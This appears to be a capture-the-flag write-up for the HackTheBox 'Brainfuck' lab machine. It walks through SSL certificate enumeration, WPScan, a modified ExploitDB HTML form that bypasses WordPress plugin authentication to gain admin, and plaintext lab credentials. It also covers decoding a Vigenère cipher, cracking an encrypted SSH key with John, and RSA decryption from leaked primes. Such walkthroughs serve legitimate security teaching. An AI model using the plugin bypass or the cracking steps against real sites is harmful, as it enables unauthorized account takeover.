Brainfuck (Insane)

Summary

In the enumeration phase, we investigate the SSL certificate and learn two DNS names. One name points to a WordPress site and the other points to a "secret forum".

We run WPScan and find a vulnerable plugin. Exploiting this vulnerability, we gain access to the WordPress Admin panel without knowing the password.

The admin panel contains a SMTP password, and we can get access to the emails using Evolution. The credential for the "secret forum" is in one of the emails.

In the "secret forum", we encounter an "encrypted" thread and we have to figure out a way to decrypt the ciphertexts. Once all the messages are decrypted, we get a download link for an encrypted RSA key. We need crack the password out of it using John. At this stage, we can SSH in as Orestis and get the user flag.

In the privilege escalation phase, we are given a simple RSA encryption script and the objective is RSA decryption. The output is the root flag.

Skills Learned

  • Enumerating SSL certificates

  • Exploiting WordPress

  • Exploit modification

  • Enumerating mail servers

  • Decoding Vigenere ciphers

  • SSH key brute forcing

  • RSA decryption techniques

IP

  • RHOST: 10.129.1.1

  • LHOST: 10.10.14.60

Nmap

Intuition tells us to investigate port 443.

SSL Certificate Enumeration

Visiting https://10.129.1.1 gives us a blank nginx page:

Click the "lock" icon and investigate the SSL certificate:

First, we get an email address orestis@brainfuck.htb:

orestis@brainfuck.htb

Next, we get two DNS names www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb:

DNS names

Now we should add 10.129.1.1 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb to /etc/hosts and visit https://brainfuck.htb, https://www.brainfuck.htb, and https://sup3rs3cr3t.brainfuck.htb to see if there is any valid page. It turns out that https://brainfuck.htb and https://www.brainfuck.htb point to a WordPress site:

WordPress

And https://sup3rs3cr3t.brainfuck.htb points to "Super Secret Forum":

Super Secret Forum

WPScan

When we see a WordPress site, usually we want to run WPScan in the background using the command wpscan --url https://brainfuck.htb --disable-tls-checks. In this case, WPScan finds an outdated plugin named wp-support-plus-responsive-ticket-system:

wp-support-plus-responsive-ticket-system

We can also enumerate the usernames using WPScan. The command is wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u. WPScan finds two usernames admin and administrator:

admin and administrator

WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

Searching this plugin on Google leads us to ExploitDB 41006 at https://www.exploit-db.com/exploits/41006. It suggests that we can log in to admin panel without knowing any password using the PoC HTML file. We need to modify the "action" attribute to "https://brainfuck.htb/wp-admin/admin-ajax.php". Also, the administrator user is a low-privilege user and the admin user is what we want. The final PoC HTML content is:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="admin">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

What we want to do here is saving this HTML code as PoC.html and run firefox PoC.html. Click "Login". This request will let the server assign an admin cookie for us.

Go back to the WordPress site and refresh the page. Now we have access to the admin panel:

Admin panel

WP Admin Panel => SMTP Password

Enter the admin panel and navigate to "Settings => Easy WP SMTP". There is a hidden SMTP password:

Hidden password

This "hidden" SMTP password can be obtained through developer tools. The password is kHGuERB29DNiNE:

SMTP password

SMTP Login => Forum Credential

We use evolution for SMTP login. Install it:

$ apt install evolution

Open the evolution client:

$ evolution

Go to "File => New => Mail Account" and set up an account with the credential orestis:kHGuERB29DNiNE. The email address is orestis@brainfuck.htb:

Identity setting
Receiving Email setting
Sending Email setting

The credential for the "secret forum" is in one of the emails:

The credential is orestis:kIEnnfEKJ#9UmdO.

Forum Login => SSH Key

Now we go back to the "secret forum" and log in as orestis:

In the thread "SSH Access", we can learn that Orestis is a really nice person and there is an "encrypted" thread. Also note that Orestis has a "signature template": each thread ends with Orestis - Hacking for fun and profit:

This "signature" will be crucial in the decryption phase. That "encrypted" thread is just "Key". Note that Orestis's signature is encrypted as three different ciphertexts:

This is the behavior of Vigenère cipher. From dcode.fr, we obtain the Vigenère cipher key:

The key is fuckmybrain. Once we have the key, we can decrypt each ciphertext. The crucial message contains a download link to the SSH key:

Just change the IP address and download the SSH key:

$ wget --no-check-certificate https://10.129.1.1/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

Foothold: Encrypted SSH Key

Here is the content of the id_rsa file:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----

Note that this SSH private key is encrypted and we need to brute-force the password. This password will be used when we SSH in as Orestis. First, we need to do ssh2john to convert the format. We use ssh2john.py:

$ ./ssh2john.py id_rsa > hash.txt

Next, crack the hash with John:

$ wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
$ john hash.txt --wordlist=rockyou.txt

The password is 3poulakia!:

Now SSH in as Orestis:

$ chmod 600 id_rsa
$ ssh -i id_rsa orestis@brainfuck.htb

We are Orestis:

Privilege Escalation: RSA Decryption

The encrypt.sage file contains the source code for RSA encryption:

nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

The root flag /root/root.txt is encrypted using this script and our object is to decrypt it. This challenge is trivial since $p$, $q$, and $e$ are stored in debug.txt:

Write a simple decryption script locally:

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes

#--------Data--------#

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

#--------RSA decryption--------#

N = p * q
phi = (p - 1 ) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)

The output is just the root flag.

Last updated